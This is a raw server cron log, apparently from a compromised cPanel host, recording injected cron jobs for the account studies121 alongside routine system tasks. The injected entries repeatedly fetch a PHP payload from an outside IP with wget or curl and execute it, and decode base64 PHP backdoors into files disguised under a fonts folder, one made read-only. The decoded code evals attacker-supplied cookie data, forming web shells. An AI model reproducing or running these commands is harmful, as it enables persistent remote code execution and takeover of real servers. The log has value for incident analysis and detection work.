Sep  7 07:36:01 ip-184-168-122-23 CROND[17999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:36:01 ip-184-168-122-23 CROND[18000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:36:01 ip-184-168-122-23 CROND[18001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:37:01 ip-184-168-122-23 CROND[18106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:37:01 ip-184-168-122-23 CROND[18108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:37:01 ip-184-168-122-23 CROND[18107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:37:01 ip-184-168-122-23 CROND[18109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:38:01 ip-184-168-122-23 CROND[18292]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:38:01 ip-184-168-122-23 CROND[18296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:38:01 ip-184-168-122-23 CROND[18295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:38:01 ip-184-168-122-23 CROND[18294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:38:01 ip-184-168-122-23 CROND[18297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:39:01 ip-184-168-122-23 CROND[18418]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 07:39:01 ip-184-168-122-23 CROND[18420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:39:01 ip-184-168-122-23 CROND[18421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:39:01 ip-184-168-122-23 CROND[18422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:39:01 ip-184-168-122-23 CROND[18423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:40:01 ip-184-168-122-23 CROND[18578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:40:01 ip-184-168-122-23 CROND[18581]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:40:01 ip-184-168-122-23 CROND[18582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:40:01 ip-184-168-122-23 CROND[18584]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 07:40:01 ip-184-168-122-23 CROND[18585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:40:01 ip-184-168-122-23 CROND[18587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:40:01 ip-184-168-122-23 CROND[18579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:40:01 ip-184-168-122-23 CROND[18580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:41:01 ip-184-168-122-23 CROND[18706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:41:01 ip-184-168-122-23 CROND[18708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:41:01 ip-184-168-122-23 CROND[18705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:41:01 ip-184-168-122-23 CROND[18707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:42:01 ip-184-168-122-23 CROND[18838]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:42:01 ip-184-168-122-23 CROND[18837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:42:01 ip-184-168-122-23 CROND[18840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:42:01 ip-184-168-122-23 CROND[18839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:42:01 ip-184-168-122-23 CROND[18841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:43:01 ip-184-168-122-23 CROND[18947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:43:01 ip-184-168-122-23 CROND[18949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:43:01 ip-184-168-122-23 CROND[18948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:43:01 ip-184-168-122-23 CROND[18950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:44:01 ip-184-168-122-23 CROND[19161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:44:01 ip-184-168-122-23 CROND[19162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:44:01 ip-184-168-122-23 CROND[19164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:44:01 ip-184-168-122-23 CROND[19160]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:44:01 ip-184-168-122-23 CROND[19163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:45:01 ip-184-168-122-23 CROND[19289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:45:01 ip-184-168-122-23 CROND[19291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:45:01 ip-184-168-122-23 CROND[19293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:45:01 ip-184-168-122-23 CROND[19294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:45:01 ip-184-168-122-23 CROND[19296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:45:01 ip-184-168-122-23 CROND[19292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:46:01 ip-184-168-122-23 CROND[19431]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:46:01 ip-184-168-122-23 CROND[19433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:46:01 ip-184-168-122-23 CROND[19436]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 07:46:01 ip-184-168-122-23 CROND[19434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:46:02 ip-184-168-122-23 CROND[19439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:46:02 ip-184-168-122-23 CROND[19441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:46:02 ip-184-168-122-23 CROND[19440]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 07:47:01 ip-184-168-122-23 CROND[19584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:47:01 ip-184-168-122-23 CROND[19583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:47:01 ip-184-168-122-23 CROND[19582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:47:01 ip-184-168-122-23 CROND[19585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:48:01 ip-184-168-122-23 CROND[19718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:48:01 ip-184-168-122-23 CROND[19720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:48:01 ip-184-168-122-23 CROND[19722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
